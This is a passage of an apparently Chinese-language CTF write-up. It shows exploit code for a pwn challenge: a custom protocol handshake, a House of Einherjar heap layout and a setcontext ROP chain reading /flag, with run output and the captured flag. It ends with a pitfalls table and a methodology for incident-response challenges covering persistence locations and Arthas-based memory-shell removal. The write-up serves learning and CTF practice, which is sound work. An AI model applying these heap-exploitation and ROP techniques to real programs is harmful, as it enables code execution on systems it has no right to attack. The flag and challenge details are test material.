 $\rightarrow$  读 write@got 得 libc; 读 environ 得栈; 定位 menu 返回地址
 $\rightarrow$  setcontext ROP: openat("/flag")+read+write  $\rightarrow$  收 flag
```

7. 完整 Exploit (核心片段)

```
# ---- FGT/1.0 握手 + RC4 ----
def _handshake(self):
    line = self._readline() # FGT/1.0 READY p=.. g=..
    p = int(re.match(r'FGT/1\.0 READY p=([0-9a-f]+) g=(\d+)', line).group(1), 16)
    g = int(...)
    a = random.randrange(2, p-1)
    self.s.send(b'FGT/1.0 HELLO %x\n' % pow(g, a, p))
    B = int(re.match(r'FGT/1\.0 OK ([0-9a-f]+)', self._readline()).group(1), 16)
    key = hashlib.sha256(pow(B, a, p).to_bytes(6, 'big')).digest()[0:16]
    self.tx = RC4(key); self.rx = RC4(key)

# ---- 堆布局 ----
```

```

pp = bytearray(b"A"*0x1E8)
pp[0x00:0x08] = p64(0x1E0); pp[0x08:0x10] = p64(0x1E0) # F.prev_size / F.size
pp[0x10:0x18] = p64(table-0x10); pp[0x18:0x20] = p64(table-0x08) # fd/bk
pp[0x1E0:0x1E8] = p64(0x1E0) # prev_size(V)
t.stage(0x1E8, bytes(pp))
pv = bytearray(b"B"*0x1E8)
pv[0xF8:0x100] = p64(0xC1); pv[0x1B8] = 0x43
t.stage(0x1E8, bytes(pv))
t.hotfix(0, 0x1E8, 0, b"") # 单字节 NUL
t.rollback(1) # House of Einherjar

```

运行输出：

```

[+] FGT/1.0 handshake done
[+] console reached; PIE=... table=...
[+] House of Einherjar unlink executed; staging table hijacked
[+] libc base = ...; *environ = ...; menu() saved RIP @ ...
[+] ROP chain installed
=== OUTPUT ===
flag{700d37f8-6ce4-4a32-b040-bcaa9301cb15}

```

8. 踩坑记录

#	现象	原因	解决
1	大文件解包全是乱码	<code>-T fields -e tcp.payload</code> 含重传错位	改用 <code>-z follow,tcp,raw</code>
2	首帧 type 诡异	<code>follow</code> 带 Tab 行是服务端	按 Tab 判方向
3	本地 free(V) SIGSYS	glibc 报错走 writev(20) 不在白名单	只能靠推理
4	ROP 无输出	<code>openat()</code> 清 rdx → read 0 字节	两次 setcontext 重置 rdx
5	远端大帧卡死	console 对单 CIN 帧大小有限制	任意写按 0x100 切片
6	靶机偶发挂起	连接不稳定	exploit 外层 7 次重试

9. 知识点总结

- **协议/流量**：FGT/1.0 帧 = 明文长度前缀 + 独立 RC4 keystream；弱 DH（48 位）直接 discrete_log；PCAP 重组用 `follow,tcp,raw`。
- **逆向/沙箱**：seccomp BPF 手解；白名单仅 7 syscall ⇒ 决定 payload 形态。
- **glibc 堆**：calloc() 不服务 tcache（2.39）；House of Einherjar；unlink 校验可用「伪造 chunk 落在自己控制块首」满足。
- **现代 ROP**：无 pop rdx 用 setcontext+0x20；openat 破坏 rdx，read/write 走裸 syscall 保护 rdx；栈地址由 libc.envIRON 泄漏。
- **工程**：远端考虑帧大小限制与连接抖动，脚本幂等可重试；本地用题目自带 libc+ld 起进程是最佳调试环境。

四、方法论与工具总结

3.1 应急响应题通用套路

两类应急题本质相同：给出被入侵服务，要求「不中断服务」地清除驻留、恢复数据、加固。可复用主线：1. 先读判分器 —— 找 `/check.log` 之类世界可读的判定反馈，把验证成本降到「等一轮」。2. 判分器不可读时，优先找能读 `root` 文件的既有 `sudo/SUID` 工具（本题 `rootrc` 软链绕过）。3. 持久化点固定就那么几处，逐一对表：`crontab`（含 `/etc/cron.d`、`/var/spool/cron`）、`/etc/passwd` 的非 `root` `UID0` 账号、`/etc/rc.local`、`systemd`、`authorized_keys`、`Python` 的 `usercustomize/sitecustomize`、`shell rc` 文件。4. 内存马在运行态清，不能重启：`Arthas` 的 `vmtool/ognl` 是主力，重点查 `filterConfigs`、`HandlerMapping`、系统属性、可疑线程。5. 数据恢复用官方备份 + 官方工具（`exdb`），不要手工拼 `SQL`。

3.2 反复出现的三个大坑

坑	表现	对策
代理/TUN 让所有端口「可连」	连通性判断全是假的	先测必然关闭的端口做对照
没有基线就靠猜	第 9 次猜 <code>rc.local</code> 仍错	先找 <code>oracle</code> / 读判分器 / 找备份
过度 attach 调试器	<code>JVM</code> 仅 160M，attach 多次后 <code>OOM</code>	一次 batch 塞入所有命令

3.3 工具清单

- 连接：ssh / paramiko（单连接 `bash -s` 投喂，避免多层引号与 `$` 被吞）
- 侦察：ss · ps · find · stat · md5sum · grep -rl · javap -v（从注解提取真实路由）
- Java：Arthas 3.7.2（`vmtool/ognl/jad/sc/sysprop/thread`）
- 数据库：mysql · 题目自带 `root` 导入工具 `exdb`
- 系统：sudo 白名单工具（`rootcron/rootrc/userdel`）——既是修复手段也是提权面
- 取证：nginx access.log（trace 格式含 `$remote_addr`）· 后门自写 mark 日志 · tshark